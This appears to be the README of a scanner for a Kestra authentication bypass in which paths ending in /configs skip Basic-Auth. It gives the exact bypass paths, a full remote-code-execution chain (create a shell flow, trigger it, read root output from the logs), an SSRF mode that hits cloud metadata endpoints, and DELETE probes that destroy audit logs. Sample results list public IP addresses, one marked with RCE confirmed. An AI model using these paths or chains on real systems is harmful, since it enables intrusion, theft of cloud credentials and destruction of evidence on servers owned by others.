
Kestra Auth-Bypass Vulnerability Checker
Scans Kestra instances for the endsWith("/configs") authentication filter bypass. Kestra's AuthenticationFilter.java checks request.getPath().endsWith("/configs") instead of matching the exact path /api/v1/configs. Since Kestra addresses resources via caller-chosen path segments (namespace, flow ID), any path ending in /configs bypasses Basic-Auth enabling unauthenticated flow creation and RCE. (CVSS 10.0)
References:
GET /api/v1/configs (must return 200; response body parsed for Kestra version)GET /api/v1/{tenant}/flows (should return 401/403 if auth is enforced)/configs; if any returns non-401/403 while the auth check enforces, the instance is vulnerable--aggressive) also sends PUT requests to confirm write-bypass ability--rce) full chain: create shell/python flow → trigger execution → retrieve logs → confirm code execution → cleanup--ssrf) creates a flow with Pebble's http() targeting AWS/GCP/Azure cloud metadata and internal endpoints, then checks logs for evidence--destructive) sends DELETE to flows, dashboards, and logs bypass paths to confirm destructive operation bypass| Probe | Method | Path | Description |
|---|---|---|---|
| Public Configs | GET | /api/v1/configs | Liveness check + version extraction |
| Protected Normal | GET | /api/v1/{tenant}/flows | Auth enforcement baseline |
| Flows Bypass | GET | /api/v1/{tenant}/flows/{namespace}/configs | Flow listing bypass |
| Executions Bypass | GET | /api/v1/{tenant}/executions/{namespace}/configs | Execution bypass |
| KV Store Bypass | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | KV read bypass |
| Dashboards Bypass | GET | /api/v1/{tenant}/dashboards/configs | Dashboard bypass |
| Logs Bypass | GET | /api/v1/{tenant}/logs/{namespace}/configs | Log access bypass |
| Templates Bypass | GET | /api/v1/{tenant}/templates/{namespace}/configs | Template read bypass |
--aggressive)| Probe | Method | Path | Description |
|---|---|---|---|
| Flows PUT Bypass | PUT | same as Flows Bypass | Creates a minimal debug.Return flow |
| KV PUT Bypass | PUT | same as KV Bypass | Creates a KV entry {"scanned": true} |
--destructive)| Probe | Method | Path | Description |
|---|---|---|---|
| Flows DELETE Bypass | DELETE | same as Flows Bypass | Deletes a resource named "configs" |
| Dashboards DELETE Bypass | DELETE | same as Dashboards Bypass | Deletes a dashboard named "configs" |
| Logs DELETE Bypass | DELETE | same as Logs Bypass | Destroys audit logs |
--rce)Runs only when auth bypass is confirmed. The full chain from the advisory:
| Step | Method | Path | Description |
|---|---|---|---|
| 1. Create RCE flow | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Deploys flow with io.kestra.plugin.scripts.shell.Commands (echo <marker>, id, hostname). Falls back to io.kestra.plugin.scripts.python.Script on failure. |
| 2. Trigger execution | POST | /api/v1/{tenant}/executions/{namespace}/configs | Starts the flow via the bypass path |
| 3. Poll logs | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Polls up to --poll-retries times (default 10) every --poll-interval seconds (default 3) looking for the unique RCE marker |
| 4. Cleanup | DELETE | same as step 1 | Removes the deployed flow |
--ssrf)Runs only when auth bypass is confirmed:
| Step | Method | Path | Description |
|---|---|---|---|
| 1. Create SSRF flow | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Deploys a debug.Return task with Pebble http() calls to AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance), and internal (127.0.0.1:8080/api/v1/configs) |
| 2. Trigger execution | POST | same as RCE step 2 | Triggers the flow |
| 3. Poll logs | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Checks for cloud metadata indicators (ami-, i-, 169.254.169.254, metadata.google.internal, etc.) |
| 4. Cleanup | DELETE | same as step 1 | Removes the deployed flow |
positional:
target Single target URL (e.g. http://localhost:8080)
options:
-f, --file File with targets (one per line)
-t, --timeout Request timeout in seconds (default: 10)
--verify-ssl Verify TLS certificates
-j, --json Output JSON to stdout
-o, --output Write JSON report to file
--tenant Tenant name (default: "main")
--namespace Namespace for bypass paths (default: "tutorial")
-w, --workers Thread count for bulk scans (default: 10)
-a, --aggressive Send PUT requests to confirm write bypass
-P, --auto-ports Ports for auto-expand (default: 8080 8081 8088 8091 80 443)
advanced probes:
-r, --rce Enable RCE verification chain (shell + python flow,
execution trigger, log retrieval, auto-cleanup)
-s, --ssrf Enable SSRF detection (Pebble http() to cloud metadata
endpoints, log-based evidence collection)
-d, --destructive Enable DELETE probes on flows, dashboards, and logs
(WILL delete resources on vulnerable instances)
--poll-interval Seconds between log polls for RCE/SSRF chains (default: 3)
--poll-retries Max log poll attempts for RCE/SSRF chains (default: 10)
Full per-probe breakdown with enrichment (version, RCE, SSRF, DELETE status) and verdict:
====================================================================
Target: http://10.0.0.1:8080
Timestamp: 2026-06-30T12:00:00+00:00
====================================================================
Version: 1.3.20 (AFFECTED)
RCE: CONFIRMED via shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: DETECTED
| Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
DELETE BYPASS: CONFIRMED destructive ops bypass auth
[Flows Bypass]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Status: 200
Bypass: YES
[Exec Bypass]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Status: 404
Bypass: No
...
── RCE Verification Chain ──
Flow Create: 201
Exec Trigger: 201
Log Evidence: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Flow Cleanup: 204
── SSRF Detection Chain ──
Flow Create: 201
Exec Trigger: 201
Evidence: 200
Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
Flow Cleanup: 204
[VULN] Verdict: VULNERABLE ...
====================================================================
Sorted columnar table with RCE/SSRF/DEL flag columns:
========================================================================================================================================
BULK SCAN SUMMARY GHSA-5vc5-wxxq-3fjx | CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
# Target Auth Flows Exec KV Dash Logs Tmpl RCE SSRF DEL Ver
---------------------------------------------------------------------------------------------------------------------------------------
1 http://173.249.1.26:8080 401 404 ERR ERR ERR 405 404 YES YES YES RCE!
2 http://207.180.207.199:8080 401 404 ERR ERR ERR 405 404 INC - YES VULN
...
30 http://103.115.65.228:8080 401 401 ERR 401 ERR 401 401 - - - SAFE
...
========================================================================================================================================
Total: 258 | Vulnerable: 5 | RCE Confirmed: 1 | SSRF Detected: 1 | DEL Bypass: 2 | Safe: 29 | Inconclusive: 224
========================================================================================================================================
Exit codes: 0 = no vulns, 1 = vuln found, 2 = all inconclusive.
When using -j or -o, the output includes enrichment fields per target:
{
"scan_info": {
"scanner": "kestra_cve v2.0.0",
"cve": ["CVE-2026-49869", "CVE-2026-53576"],
"aggressive": true,
"rce": true,
"ssrf": true,
"destructive": true
},
"results": [
{
"target": "http://10.0.0.1:8080",
"vulnerable": true,
"version": "1.3.20",
"version_in_affected_range": true,
"rce_confirmed": true,
"rce_method": "shell",
"rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
"ssrf_detected": true,
"ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
"delete_bypass": true,
"probes": { "..." : "..." }
}
],
"summary": {
"total": 258,
"vulnerable": 5,
"rce_confirmed": 1,
"ssrf_detected": 1,
"delete_bypass": 2,
"safe": 29,
"inconclusive": 224
}
}
The scanner automatically extracts the Kestra version from the GET /api/v1/configs response and classifies it:
| Version | Classification |
|---|---|
<= 1.0.44 | AFFECTED (1.0 branch, before patch) |
>= 1.0.45 | Patched (1.0 branch) |
1.3.0 1.3.20 | AFFECTED (1.3 branch, before patch) |
>= 1.3.21 | Patched (1.3 branch) |
>= 1.4.0 | Patched (newer than affected range) |
| Unknown | Version not found in response |
This uses branch-aware comparison since Kestra maintains separate patch branches (1.0.x and 1.3.x).
Requires Python 3.10+.
pip install -r requirements.txt
python main.py --help
For authorized defensive testing only. The --rce and --destructive flags create and execute real resources on the target. Always obtain proper written authorization before scanning systems you do not own.